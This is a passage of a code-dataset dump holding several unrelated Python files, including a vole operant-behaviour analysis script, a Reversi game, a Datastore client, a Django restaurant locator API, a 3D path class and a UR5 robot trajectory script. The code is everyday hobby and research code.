app.run(debug=True)\n","sub_path":"chatbotServer/flask_basic_facebook.py","file_name":"flask_basic_facebook.py","file_ext":"py","file_size_in_byte":2983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"243513947","text":"import sys\nsys.path.append('/home/pi/')\n\nimport RPI_operant.home_base.analysis.analysis_functions as af\nfrom RPI_operant.home_base.lookup_classes import Operant_event_strings as oes\nimport pandas as pd\nimport numpy as np\n\n\ndef run_analysis(data_raw, head, by_round_fname, summary_fname):\n data = af.remove_duplicate_events(data_raw, event_str = ' Levers out')\n\n #get latency from levers out to door_2 lever presses\n event_1 = oes.lever_out\n event_2 = oes.door2_leverpress_prod\n \n col_name = 'door_2_lever_press_latency'\n \n \n new_col, new_data = af.latency_by_round(data, event_1, event_2, \n new_col_name = col_name, \n selected_by = event_2)\n \n new_df_blank = np.asarray([[r, np.nan] for r in data.Round.unique()])\n \n new_df = pd.DataFrame(data = new_df_blank, columns = ['Round',new_col])\n new_df.Round = new_df.Round.astype(int)\n new_df = af.roundwise_join(new_df, new_data, new_col)\n\n\n event_1 = oes.lever_out\n event_2 = oes.door1_leverpress_prod\n col_name = 'door_1_lever_press_latency'\n new_col, new_data = af.latency_by_round(data, event_1, event_2, new_col_name = col_name, selected_by = event_2)\n round_df = af.roundwise_join(new_df, new_data, new_col)\n\n\n summary = []\n\n total_rounds = data.Round.max()\n summary += [['number of rounds in experiment', 'rounds', total_rounds]]\n\n '''calculate the values for the days summary'''\n #calculate number of presses\n total_presses = len(data.loc[data.Event == oes.door1_leverpress_prod]) + len(data.loc[data.Event == oes.door2_leverpress_prod])\n summary += [['total number of lever presses', 'total_lever_press', total_presses]]\n\n door_1_lever_press_count = af.count_event(data, oes.door1_leverpress_prod)\n summary += [['number of presses for door 1', 'door_1_lever_press_count', door_1_lever_press_count]]\n\n door_2_lever_press_count = af.count_event(data, oes.door2_leverpress_prod)\n summary += [['number of presses for door 2', 'door_2_lever_press_count', door_2_lever_press_count]]\n\n door_1_lever_press_prop_of_rounds = door_1_lever_press_count / total_rounds\n summary += [['proportion of rounds on which door 1 was pressed', \n 'door_1_lever_press_round_proportion', \n door_1_lever_press_prop_of_rounds]]\n\n door_2_lever_press_prop_of_rounds = door_2_lever_press_count / total_rounds\n summary += [['proportion of rounds on which door 2 was pressed', \n 'door_2_lever_press_round_proportion', \n door_2_lever_press_prop_of_rounds]]\n\n door_1_lever_press_prop_of_presses = door_1_lever_press_count / total_presses\n summary += [['proportion of all presses that were for door_1', \n 'door_1_lever_press_total_press_proportion', \n door_1_lever_press_prop_of_presses]]\n\n door_2_lever_press_prop_of_presses = door_2_lever_press_count / total_presses\n summary += [['proportion of all presses that were for door_2', \n 'door_2_lever_press_total_press_proportion', \n door_2_lever_press_prop_of_presses]]\n\n\n summary+= [['mean door_1 lever press latency (excludes NaN)',\n 'mean_door_1_lever_press_latency',\n round_df.door_1_lever_press_latency.mean()]]\n\n summary+= [['mean door_2 lever press latency (excludes NaN)',\n 'mean_door_2_lever_press_latency',\n round_df.door_2_lever_press_latency.mean()]]\n summary+= [['animal ID',\n 'animal_ID',\n head['vole']]]\n\n summary+= [['experiment day entered by experimenter',\n 'day',\n head['day']]]\n summary+= [['experiment script name',\n 'experiment',\n head['experiment']]]\n summary+= [['time of run',\n 'date',\n head['run_time']]]\n\n\n summary_df = pd.DataFrame(data = summary, columns = ['var_desc','var_name','var'])\n summary_df = summary_df.transpose()\n \n \n round_df.to_csv(by_round_fname)\n header_string = af.create_header_string(head)\n af.line_prepender(by_round_fname, header_string)\n \n summary_df.to_csv(summary_fname)\n af.line_prepender(summary_fname, header_string)","sub_path":"home_base/analysis_scripts/social_choice_analysis.py","file_name":"social_choice_analysis.py","file_ext":"py","file_size_in_byte":4269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"517719446","text":"\"\"\"\nGutted and repurposed connectfour --- unfinished, and non-functional\n\"\"\"\n\nimport os\n#import time\nimport numpy as np\n\nTERMX, TERMY = os.get_terminal_size()\n\ndef center(*lines):\n \"\"\"\n Center lines in terminal.\n \"\"\"\n for line in lines:\n yield line.center(TERMX)\n\ndef print_line(line):\n \"\"\"\n Print line centered in terminal.\n \"\"\"\n print(*center(line))\n\n\nclass Reversi:\n \"\"\"\n \"\"\"\n current_move = None\n current_player = 0\n\n def __init__(self, height=8, width=8):\n self.height, self.width = min(height, 35), min(width, 35)\n self.labely = \"1234567890abcdefghijklmnoprstuvwxyz\"[:self.height]\n self.labelx = \"1234567890abcdefghijklmnoprstuvwxyz\"[:self.width]\n self.board = np.zeros((self.height, self.width), dtype=int)\n\n #Starting position\n self.board[self.height//2 - 1:self.height//2 + 1,\n self.width//2 - 1: self.width//2 + 1] = np.array([[1, 2], [2, 1]])\n\n def print_board(self):\n \"\"\"\n Print our current board state.\n \"\"\"\n os.system(\"clear || cls\") # Clears the terminal\n\n labels = f\" {' '.join(self.labelx)}\"\n header = f\" ╭──{'─┬──' * (self.width - 1)}─╮\"\n gutter = f\" ├──{'─┼──' * (self.width - 1)}─┤\\n\".join(\n f\"{y_label} │ {' │ '.join(' ●○'[value] for value in row)} │\\n\"\n for y_label, row in zip(self.labely, self.board)).split(\"\\n\")[:-1]\n footer = f\" ╰──{'─┴──' * (self.width - 1)}─╯\"\n\n print(\"\\n\" * ((TERMY - self.height * 2 - 5) // 2)) # Vertical Buffer\n print(*center(labels, header, *gutter, footer), sep=\"\\n\")\n\n def is_move_valid(self):\n \"\"\"\n Returns True if self.current_move is a valid move or 'q'.\n \"\"\"\n if self.current_move is None:\n return False\n\n if self.current_move == 'q':\n return True\n\n if len(self.current_move) != 2 or not all((self.current_move[0] in self.labelx,\n self.current_move[1] in self.labely)):\n print_line(\"Please enter valid coordinate!\")\n return False\n\n self.current_move = (self.labely.find(self.current_move[1]),\n self.labelx.find(self.current_move[0]))\n\n if self.board[self.current_move]:\n print_line(\"Not a valid move!\")\n return False\n\n return True\n\n def get_move(self):\n \"\"\"\n Sets a players input to self.current_move.\n \"\"\"\n print_line(f\"{'●○'[self.current_player]}'s move, enter coordinate or 'q' to quit:\\n\")\n self.current_move = input(\"\".center(TERMX // 2)).lower()\n\n def animate_move(self):\n \"\"\"\n \"\"\"\n pass\n\n def update_board(self):\n \"\"\"\n \"\"\"\n self.board[self.current_move] = self.current_player + 1\n\n def start(self):\n \"\"\"\n The main game loop.\n \"\"\"\n for _ in range(self.width * self.height):\n self.current_move = None\n\n self.print_board()\n\n while not self.is_move_valid():\n self.get_move()\n\n if self.current_move == \"q\":\n break\n\n #self.animate_move()\n\n self.update_board()\n\n self.current_player = not self.current_player\n\n\nif __name__ == \"__main__\":\n try:\n COLUMNS = int(input(\"Number of columns (max 35): \"))\n if COLUMNS > 35: # Not enough labels -- add more if you want more COLUMNS.\n raise ValueError\n except ValueError:\n COLUMNS = 8\n\n try:\n ROWS = int(input(\"Number of rows: \"))\n if ROWS > 35:\n raise ValueError\n except ValueError:\n ROWS = 8\n\n Reversi(ROWS, COLUMNS).start()\n","sub_path":"reversi.py","file_name":"reversi.py","file_ext":"py","file_size_in_byte":3811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"213531550","text":"\"\"\"\nProvides client wrapping access to Google Cloud Datastore for use with kakuro puzzles.\n\"\"\"\n\nimport logging\nfrom google.cloud import datastore\n\nclass DatastoreClient:\n \"\"\"\n DAO for access to Google Cloud Datastore for use with kakuro puzzles.\n \"\"\"\n\n CLOUD_PROJECT = \"kakurizer\"\n CLOUDSTORE_TYPE = \"kakuro\"\n MAX_PUT_SIZE = 500 # Maximum supported mutations in same transaction (Google-imposed limit)\n DATASTORE_MAX_INT = 9223372036854775807\n\n def __init__(self):\n self.client = datastore.Client(project=self.CLOUD_PROJECT)\n\n\n def get_ids(self, min_id=-DATASTORE_MAX_INT, max_id=DATASTORE_MAX_INT):\n \"\"\"\n Return a tuple of puzzle IDs which have been saved (in any state) to the database.\n Used to check if a puzzle already exists or not.\n\n :param min_id: If set, only look for IDs greater than or equal to this\n :param max_id: If set, only look for IDs less than or equal to this\n :returns: tuple of IDs of puzzles which exist in the database\n \"\"\"\n query = self.client.query(kind=self.CLOUDSTORE_TYPE, projection=(\"id\",))\n query.add_filter('id', '>=', min_id)\n query.add_filter('id', '<=', max_id)\n return (puzzle['id'] for puzzle in query.fetch())\n\n\n def get_index_puzzles(self, min_id=-DATASTORE_MAX_INT, max_id=DATASTORE_MAX_INT):\n query = self.client.query(kind=self.CLOUDSTORE_TYPE)\n query.add_filter('id', '>=', min_id)\n query.add_filter('id', '<=', max_id)\n query.add_filter('has_img', '=', False)\n return [puzzle for puzzle in query.fetch()]\n\n\n def put_index_puzzles(self, index_puzzles):\n \"\"\"\n Saves a set of puzzles to Google Cloud Datastore. This is used with puzzle\n metadata extracted from index pages, so only a limited number of fields are\n set.\n\n :param index_puzzles: List or tuple of kakurizer_types.IndexPuzzle\n :returns: void\n \"\"\"\n partial_key = self.client.key(self.CLOUDSTORE_TYPE)\n for chunk_start in range(0, len(index_puzzles), self.MAX_PUT_SIZE):\n puzzles = index_puzzles[chunk_start: chunk_start + self.MAX_PUT_SIZE]\n size = len(puzzles)\n keys = self.client.allocate_ids(partial_key, size)\n entities = tuple(prepare_index_puzzle(puzzles[p], keys[p]) for p in range(size))\n self.client.put_multi(entities)\n logging.getLogger().info(\"Saved %s puzzles from index\", size)\n\n\n def update(self, entity):\n \"\"\"\n :param entities: List or tuple of google.cloud.datastore.entity.Entity with updated values\n :returns: void\n \"\"\"\n self.client.put(entity)\n logging.getLogger().info(\"Updated puzzle %s\", entity['id'])\n\n\ndef prepare_index_puzzle(index_puzzle, final_key):\n \"\"\"\n Converts puzzle representation output from index_scanner script to Entity format\n used by Google Cloud Datastore.\n\n :param index_puzzle: kakurizer_types.IndexPuzzle of a single puzzle's metadata from index page\n :param final_key: google.cloud.datastore.key.Key to uniquely identify this puzzle\n :returns: Puzzle represented as google.cloud.datastore.entity.Entity for saving into database.\n \"\"\"\n entity = datastore.entity.Entity(key=final_key)\n entity['id'] = index_puzzle.id\n entity['timestamp_millis'] = index_puzzle.timestamp_millis\n entity['difficulty'] = index_puzzle.difficulty\n entity['page_url'] = index_puzzle.page_url\n entity['has_img'] = False\n entity['has_clues'] = False\n entity['has_solution'] = False\n return entity","sub_path":"datastore_client.py","file_name":"datastore_client.py","file_ext":"py","file_size_in_byte":3592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"59554086","text":"# from datetime import *\nimport datetime\nimport os\nimport json\nimport ast\nfrom modules import registration, general_functions\n\n# TODO\n# 1- Fix current date validation with start date, something conflicts with imports O.o\n\nprojects = {}\nuser_email = registration.signed_in_user_email\n\nif os.path.exists(\"data/projects.json\"):\n try:\n with open('data/projects.json', 'r') as gf:\n projects = json.load(gf)\n # ast.literal_eval(projects)\n except Exception as exception:\n print(\"Projects data is not loaded correctly,\", e)\n\n\ndef create_project():\n pass\n\n\ndef print_create_project_menu():\n if user_email == \"\":\n print(\"You must be signed up in order to create a campaign\")\n return\n # current_date = datetime.date(datetime.now())\n # current_year, current_month, current_day = map(int, current_date.split('-'))\n\n print(\"Enter the following campaign details:\\n\")\n title = input(\"Title: \")\n description = input(\"Description: \")\n total_target = input(\"Total target: \")\n start_date_input = input('Enter campaign start date in YYYY-MM-DD format')\n try:\n year, month, day = map(int, start_date_input.split('-'))\n start_date = datetime.date(year, month, day)\n except ValueError as e:\n print(\"Date entered is incorrect,\", e)\n return\n # if start_date < current_date:\n # print(\"Date must be in the future\")\n end_date_input = input('Enter campaign end date in YYYY-MM-DD format')\n try:\n year, month, day = map(int, end_date_input.split('-'))\n end_date = datetime.date(year, month, day)\n except ValueError as e:\n print(\"Date entered is incorrect,\", e)\n return\n if end_date < start_date:\n print(\"Campaign ending date must be after start date.\")\n return\n projects[user_email][title] = {\"Description\": description,\n \"Total Target\": total_target,\n \"Start Date\": start_date,\n \"End Date\": end_date}\n general_functions.write_dict_to_json('projects', projects)\n\n\ndef show_own_projects():\n print(\"SHOW OWN PROJECTS\")\n try:\n general_functions.print_dict(projects[user_email])\n except KeyError as e:\n print(\"Have you created any projects yet? ¯\\_(ツ)_/¯,\")\n\n\ndef list_projects():\n # print(projects)\n general_functions.print_dict(projects)\n\n\ndef edit_project(project_name):\n try:\n old_project_details = projects[user_email][project_name]\n print_create_project_menu()\n delete_project(project_name)\n general_functions.write_dict_to_json('projects', projects)\n except Exception as e:\n print(\"Something went wrong, is it a valid project name?\")\n\n\ndef delete_project(project_name):\n del projects[user_email][project_name]\n general_functions.write_dict_to_json('projects', projects)\n\n\ndef print_edit_project():\n show_own_projects()\n project_name = input(\"Please enter project name to edit: \")\n edit_project(project_name)\n\n\ndef print_delete_project():\n show_own_projects()\n project_name = input(\"Please enter project name to delete: \")\n delete_project(project_name)\n\n\ndef search_in_projects(date):\n pass\n","sub_path":"Labs/Python/lab2/modules/projects.py","file_name":"projects.py","file_ext":"py","file_size_in_byte":3248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"136713133","text":"# -*- coding: utf-8 -*-\nimport hashlib, copy, datetime\nimport xlrd\nfrom flask import json, g\nfrom sqlalchemy import and_, func, distinct\nfrom ..model.lrm_all import *\nfrom ..database.sqlal import *\n\nimport sys\nimport datetime\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\n\nclass lrm_fore_bigcash_statService():\n def lrm_save(self, **kwargs):\n data = kwargs\n g.db_session.add(lrm_fore_bigcash_stat(**data))\n g.db_session.flush()\n\n\n def lrm_update(self, **kwargs):\n menudata = kwargs\n self.qfield = ['dataDt', 'orgNo', 'orgName', 'foreDt', 'dir', 'amountSum', 'sttlChnICD']\n data = {}\n foreNo = menudata.get('foreNo')\n data[self.qfield[0]] = menudata.get('dataDt')\n data[self.qfield[1]] = menudata.get('orgNo')\n data[self.qfield[2]] = menudata.get('orgName')\n data[self.qfield[3]] = menudata.get('foreDt')\n data[self.qfield[4]] = menudata.get('dir')\n data[self.qfield[5]] = menudata.get('amountSum')\n data[self.qfield[6]] = menudata.get('sttlChnICD')\n\n g.db_session.query(lrm_fore_bigcash_stat).filter(lrm_fore_bigcash_stat.foreNo == foreNo).update(data)\n \n def lrm_summary(self,**param):\n u\"\"\"汇总统计\"\"\"\n foreDt = param.get(\"foreDt\")\n \n sql = \"\"\"\n select s.DIR,s.\"sttlChnICD\",sum(s.\"amountSum\")\n from LRM_FORE_BIGCASH_STAT s\n where s.\"foreDt\" = '%s'\n group by s.DIR,s.\"sttlChnICD\"\n \"\"\"%(foreDt)\n rows = simple_session().execute(sql)\n result = []\n\n for row in rows:\n dict = {'dir':row[0],'sttlChnICD':row[1],'amountSum':row[2]}\n result.append(dict)\n \n sum_sql = \"\"\"\n select s.DIR,s.\"sttlChnICD\",sum(s.\"amountSum\"),s.\"foreDt\"\n from LRM_FORE_BIGCASH_STAT s\n where 1=1 and s.\"foreDt\" >= '%s' and s.\"foreDt\" <= date(days(date('%s'))+9)\n group by s.DIR,s.\"sttlChnICD\",s.\"foreDt\"\n order by s.\"foreDt\";\n \"\"\"%(foreDt,foreDt)\n sum_rows = simple_session().execute(sum_sql)\n\n r_list = []\n for row in sum_rows:\n dict = {'dir':row[0],'sttlChnICD':row[1],'amountSum':row[2],'foreDt':row[3]}\n r_list.append(dict)\n \n result_dict = {} \n result_dict[foreDt] = []\n result_dict['foreDt_sum'] = 0 \n result_dict['data'] = {}\n result_dict['data']['data1'] = [] #流出&大小额\n result_dict['data']['data2'] = [] #流入&大小额\n result_dict['data']['data3'] = [] #流出&同城交易\n result_dict['data']['data4'] = [] #流入&同城交易\n result_dict['data']['date'] = []\n for i in range(10):\n res_datestr = self.date_add_one(foreDt,i)\n result_dict['data']['date'].append(res_datestr)\n #拼装每天的数据\n current_list = [] \n for row in r_list:\n if row['foreDt'] == res_datestr:\n current_list.append(row)\n if foreDt == res_datestr:\n d1 = self.get_foreDt_value('流出','大小额',current_list ) \n result_dict[foreDt].append(d1)\n d2 = self.get_foreDt_value('流入','大小额',current_list ) \n result_dict[foreDt].append(d2)\n d3 = self.get_foreDt_value('流出','同城交换',current_list ) \n result_dict[foreDt].append(d3)\n d4 = self.get_foreDt_value('流入','同城交换',current_list ) \n result_dict[foreDt].append(d4)\n result_dict['foreDt_sum'] = d1['amountSum'] + d2['amountSum'] + d3['amountSum'] + d4['amountSum']\n\n data1 = self.get_data_value('流出','大小额',current_list)\n result_dict['data']['data1'].append(data1)\n\n data2 = self.get_data_value('流入','大小额',current_list)\n result_dict['data']['data2'].append(data2)\n\n data3 = self.get_data_value('流出','同城交换',current_list)\n result_dict['data']['data3'].append(data3)\n\n data4 = self.get_data_value('流入','同城交换',current_list)\n result_dict['data']['data4'].append(data4)\n \n #print result_dict\n return result_dict\n \n def date_add_one(self,datestr,num):\n result = \"\"\n old_date = datetime.datetime.strptime(datestr,'%Y-%m-%d')\n \n new_date = old_date + datetime.timedelta(num)\n result = new_date.strftime('%Y-%m-%d') \n return result\n\n def get_data_value(self,dir,sttlChnICD,list):\n result = 0\n flag = False\n for c in list:\n if c['dir'] == dir and c['sttlChnICD'] == sttlChnICD:\n if c['dir'] == '流出':\n v = -c['amountSum']\n else:\n v = c['amountSum']\n result =v \n flag = True\n break\n if flag == False:\n result = 0\n return result\n \n def get_foreDt_value(self,dir,sttlChnICD,list):\n dict = {}\n data = self.get_data_value(dir,sttlChnICD,list)\n if data == 0:\n dict = {'dir':dir,'sttlChnICD':sttlChnICD,'amountSum':0}\n else:\n dict = {'dir':dir,'sttlChnICD':sttlChnICD,'amountSum':data}\n return dict\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"LRM/source_code/application/server/fabs/services/lrm_fore_bigcash_stat.py","file_name":"lrm_fore_bigcash_stat.py","file_ext":"py","file_size_in_byte":5435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"545596589","text":"import numpy as np\nimport numpy.linalg as linalg\nimport matplotlib.pyplot as plt\nimport gym_auv.utils.geomutils as geom\n\nfrom scipy.optimize import fminbound\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\nclass Path3D():\n def __init__(self, waypoints):\n self.waypoints = np.array(waypoints)\n self.nwaypoints = len(waypoints)\n self.segment_lengths = self._get_path_lengths()\n self.length = np.sum(self.segment_lengths) \n self.azimuth_angles = np.array([])\n self.elevation_angles = np.array([])\n\n self._get_parametric_params()\n\n\n def __call__(self, s):\n seg_start, seg_index = self._get_segment_start(s)\n alpha = self.azimuth_angles[seg_index]\n beta = self.elevation_angles[seg_index]\n seg_distance = s - seg_start\n x_start, y_start, z_start = self.waypoints[seg_index]\n\n x = x_start + seg_distance*np.cos(alpha)*np.cos(beta)\n y = y_start + seg_distance*np.sin(alpha)*np.cos(beta)\n z = z_start - seg_distance*np.sin(beta)\n\n return np.array([x,y,z])\n\n\n def _get_segment_start(self, s):\n seg_start = 0\n for i, sl in enumerate(self.segment_lengths):\n if s <= seg_start+sl:\n return seg_start, i\n else:\n seg_start += sl\n return seg_start, i\n\n\n def _get_parametric_params(self):\n diff = np.diff(self.waypoints, axis=0)\n for i in range(self.nwaypoints-1):\n derivative = diff[i] / self.segment_lengths[i]\n alpha = np.arctan2(derivative[1], derivative[0])\n beta = np.arctan2(-derivative[2], np.sqrt(derivative[0]**2 + derivative[1]**2))\n self.azimuth_angles = np.append(self.azimuth_angles, geom.ssa(alpha))\n self.elevation_angles = np.append(self.elevation_angles, geom.ssa(beta))\n\n\n def plot_path(self):\n x = []\n y = []\n z = []\n s = np.linspace(0, self.length, 10000)\n \n for ds in s:\n x.append(self(ds)[0])\n y.append(self(ds)[1])\n z.append(self(ds)[2])\n\n ax = plt.axes(projection='3d')\n ax.plot(x, y, z)\n return ax\n \n \n def get_closest_s(self, position):\n s = fminbound(lambda s: np.linalg.norm(self(s) - position),\n x1=0, x2=self.length, xtol=1e-6,\n maxfun=10000)\n return s\n\n\n def get_closest_point(self, position):\n s = self.get_closest_s(position)\n return self(s)\n\n\n def _get_path_lengths(self):\n diff = np.diff(self.waypoints, axis=0)\n seg_lengths = np.sqrt(np.sum(diff**2, axis=1))\n return seg_lengths\n\n \n def get_endpoint(self):\n return self(self.length)\n\n \n def get_direction_angles(self, s):\n _, seg_index = self._get_segment_start(s)\n return self.azimuth_angles[seg_index], self.elevation_angles[seg_index]\n\n\ndef generate_random_waypoints(nwaypoints):\n waypoints = [np.array([0,0,0])]\n for i in range(nwaypoints-1):\n azimuth = np.random.normal(0,0.5) * np.pi/6\n elevation = np.random.normal(0,0.5) * np.pi/6\n dist = np.random.randint(50, 100)\n\n x = waypoints[i][0] + dist*np.cos(azimuth)*np.cos(elevation)\n y = waypoints[i][1] + dist*np.sin(azimuth)*np.cos(elevation)\n z = waypoints[i][2] - dist*np.sin(elevation)\n wp = np.array([x, y, z])\n waypoints.append(wp)\n return waypoints\n","sub_path":"gym_auv/objects/path3d.py","file_name":"path3d.py","file_ext":"py","file_size_in_byte":3440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"77470873","text":"from django.http import HttpResponse, Http404\nimport json\nfrom django.views.decorators.http import require_POST, require_GET\nfrom venues.jsonAPI.masjid import get_masjids\nfrom django.contrib.gis.geos import Point\nfrom venues.models import Masjid, Restaurant\n\n# from django.core import serializers\n\nfrom geopy.distance import distance as geopy_distance\nfrom venues.models.cuisine import Cuisine\nfrom django.contrib.gis import measure\n\nfrom serializers import *\n@require_GET\ndef closest(request):\n lat = float(request.GET['lat'])\n lon = float(request.GET['lon'])\n if 'category' in request.GET:\n categories = request.GET['category'].split(' ')\n else:\n categories = []\n\n response_message = ''\n\n if request.GET.has_key('masjids'):\n venues = get_masjids(lon, lat, categories)\n if not venues:\n venues = get_masjids(lon, lat, categories=[])\n response_message = \"No venues for this categories, here are some other ones you might like\"\n else:\n venues = __get_restaurants(request, lon, lat, categories)\n if not venues:\n venues = __get_restaurants(request, lon, lat, categories=[])\n response_message = \"No venues for this categories, here are some other ones you might like\"\n\n return HttpResponse(\n json.dumps({\n \"response\": {\n \"total\": len(venues),\n \"venues\": sorted(venues, key=lambda venue: venue['fields']['distance']),\n \"message\": response_message\n }\n }),\n content_type='application/json'\n )\n\n\ndef __get_restaurants(request, longitude, latitude, categories, limit=200):\n '''\n Returns objects at given point that satisfy set of categories,\n or all of them if categories is empty.\n input:\n str longitude\n str latitude\n list categories\n output:\n list of dicts\n '''\n currentPoint = Point(float(longitude), float(latitude)) # geos.GEOSGeometry('POINT(%s %s)' % (longitude, latitude))\n distance_m = {'km': 30}\n list_of_cats = []\n for c in categories:\n list_of_cats.append(Cuisine.objects.get(name=c))\n if list_of_cats:\n restaurants = Restaurant.gis.filter(\n approved=True,\n location__distance_lte=(currentPoint, measure.D(**distance_m)),\n cuisines__in=list_of_cats,\n is_closed=False).distance(currentPoint).order_by('distance')\n else:\n restaurants = Restaurant.gis.filter(approved=True,\n location__distance_lte=(currentPoint,\n measure.D(**distance_m)),\n is_closed=False).distance(currentPoint).order_by('distance')\n\n if hasattr(request.user, 'is_venue_moderator') and request.user.is_venue_moderator():\n pass\n else:\n restaurants = restaurants.filter(approved=True)\n\n # seems that this thing doesn't actually order objects by distance\n # btw at this step there is no distance property in objects or rows in table\n # restaurants = restaurants.distance(currentPoint).order_by('distance')\n restaurants = restaurants[:limit]\n # String based JSON\n data = RestaurantSerializer('json', restaurants)\n # Actual JSON object to be edited\n data = json.loads(data)\n\n # if venue has multiple categories and some of them\n # are in list_of_cats than venue will appear in data that some times\n # so we will uniqify venues in data\n if len(list_of_cats) > 1:\n data = {v['pk']: v for v in data}.values()\n\n for restaurant in data:\n d = geopy_distance(currentPoint, restaurant['fields']['location']).kilometers\n restaurant['fields']['distance'] = round(d, 1)\n\n # Fancy splitting on POINT(lon, lat)\n lng = restaurant['fields']['location'].split()[1][1:]\n lat = restaurant['fields']['location'].split()[2][:-1]\n\n del restaurant['fields']['location']\n restaurant['fields']['lng'] = lng\n restaurant['fields']['lat'] = lat\n\n # Replace cuisine ids with names\n cat_names = []\n for cat_id in restaurant['fields']['cuisines']:\n cat = Cuisine.objects.get(id=cat_id)\n cat_names.append(cat.name)\n restaurant['fields']['cuisines'] = cat_names\n\n return data\n","sub_path":"venues/jsonAPI/restaurants.py","file_name":"restaurants.py","file_ext":"py","file_size_in_byte":4295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"250302498","text":"class Students(object):\n # 定义初始化属性\n def __init__(self,name,id,clas):\n self.name=name\n self.id=id\n self.clas=clas\n self.book_list=[]\n\n # 借书\n def take_book(self,book):\n self.book_list.append(book)\n print(\"学生:%s 已借到:%s 作者:%s\"%(self.name,book.name,book.author))\n\n # 还书\n def return_book(self,book):\n if book in self.book_list:\n self.book_list.remove(book)\n print(\"归还:%s\"%book.name)\n else:\n print(\"没有借那本书\")\n\n # 保存到本地\n def save_books(self):\n str1 = \"\"\n for book in self.book_list:\n str1 += book.name\n f=open(\"booklist.txt\",\"w\")\n f.write(str1)\n f.close()\n\n\nclass Books(object):\n # 定义初始化属性\n def __init__(self,name,author):\n self.name=name\n self.author=author\n\nst1=Students(\"wukong\",\"100\",\"0102\")\nbook1=Books(\"xiyouji\",\"tangseng\")\nst1.take_book(book1)\nst1.save_books()\nst1.return_book(book1)\n","sub_path":"Py_text/0328/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"25408891","text":"from db import db\nfrom classes.Account import Account\nfrom classes.User import User\n\nfrom bson.objectid import ObjectId\n\nfrom interfaces.oversee import OverseeInterface\n#from classes.Builders import *\nfrom classes.Currency import Currency\n\nclass Oversee(OverseeInterface): #Account):\n \"\"\"\n def __init__(self, ID)->None:\n super().__init__(ID)\n pass\n \"\"\"\n def __init__(self, ID, user)-> None:\n #super().__init__(ID, user, wallets, mainWallet)\n self.accountID = ObjectId(ID)\n self.user = user\n\n\n def userData(self):\n users = []\n userDB = db.users.find()\n\n for user in userDB:\n users.append(User(user[\"name\"], user[\"surname\"], user[\"_id\"]))\n\n return users\n\n def userWallets(self, user: User):\n accountDB = db.accounts.find_one({\"user\": {'ref': 'user', 'id': ObjectId(user.userID), 'db': 'users'}})\n print(f\"\\nNick: {accountDB['nick']}\")\n \"\"\"\n director = Director()\n builder = BuildOverseeAccount()\n director.builder = builder\n\n userAccount = director.makeOversee(accountDB['_id'])\n\n userAccount.showInterface()\n \"\"\"\n\n #Interfaces\n def showUsersInterface(self):\n userList = self.userData()\n for number, user in enumerate(userList):\n userData = user.getData()\n print(f\"{number+1}. {userData['ID']}: {userData['surname']} {userData['name']}\")\n\n chose = int(input(\"Choose number of user whoch you want to show wallets details: \"))\n\n chosenUser = userList[chose-1]\n\n self.userWallets(chosenUser)\n\n def changeCurrencyRate(self):\n currencyName = input(\"Currency name: \")\n currencyDB = db.currencies.find({\"name\": currencyName})[0]\n currency = Currency(currencyDB.get('name'), currencyDB.get('rate'), currencyDB.get('_id'))\n change = input(\"How much: \")\n currency.changeRate(change)\n\n\"\"\"\ndef main():\n oversee = Oversee()\n oversee.showUsersInterface()\n\n\nif __name__ == \"__main__\":\n main()\n \n\"\"\"","sub_path":"classes/Oversee.py","file_name":"Oversee.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"567377608","text":"#!/usr/bin/env python\n\nfrom math import pi\nimport numpy as np\nimport robot_calc_functions as rcf\nimport matplotlib.pyplot as plt\n\n\nUR5thstart =[0.1,0.1,0.1,0.1,0.1,0.1]\nUR5thend =[pi/2,pi/2,pi/2,pi/2,pi/2,pi/2]\nT = 2\nN = 101\ntscalemethod = 3\n\n#Cubic time scaled joint trajectory\nJointTraj = rcf.JointTrajectory(UR5thstart, UR5thend, T, N, tscalemethod)\n\n#*********Plotting the result************************\njointlist = []\nfor i in range(0,len(JointTraj)):\n jointlist.append(JointTraj[i][0])\n\ntimestamp = np.linspace(0,2,N-1)\nplt.plot(timestamp, jointlist, label = \"Cubic Time Scaling\")\nplt.ylim (0,2)\nplt.legend(loc = 'upper left')\nplt.xlabel(\"Time\")\nplt.ylabel(\"S(t)\")\nplt.title(\"Plot of S(t) for Cubic Time Scaling\")\nplt.show()\n#**************************************************\n\n#Quintic time scaled joint trajectory\ntscalemethod = 5\n\nJointTraj = rcf.JointTrajectory(UR5thstart, UR5thend, T, N, tscalemethod)\n\n#*******Plotting the results**********************\njointlist = []\nfor i in range(0,len(JointTraj)):\n jointlist.append(JointTraj[i][0])\n\ntimestamp = np.linspace(0,2,N-1)\nplt.plot(timestamp, jointlist, label = \"Quintic Time Scaling\")\n\nplt.ylim (0,2)\nplt.legend(loc = 'upper left')\nplt.xlabel(\"Time\")\nplt.ylabel(\"S(t)\")\nplt.title(\"Plot of S(t) for Quintic Time Scaling\")\nplt.show()\n#**************************************************\n\n\n#Storing in a csv file for animation purposes\nf = open('quest5_ur5joints.csv', 'w')\nf.write (\"time,shoulder_pan_joint,shoulder_lift_joint,elbow_joint,wrist_1_joint,wrist_2_joint,wrist_3_joint\\n\")\nt = 0\n\nfor i in range (N-1):\n f.write(str(t))\n t+=0.02\n f.write(\",\")\n f.write(str(JointTraj[i][0]))\n f.write(\",\")\n f.write(str(JointTraj[i][1]))\n f.write(\",\")\n 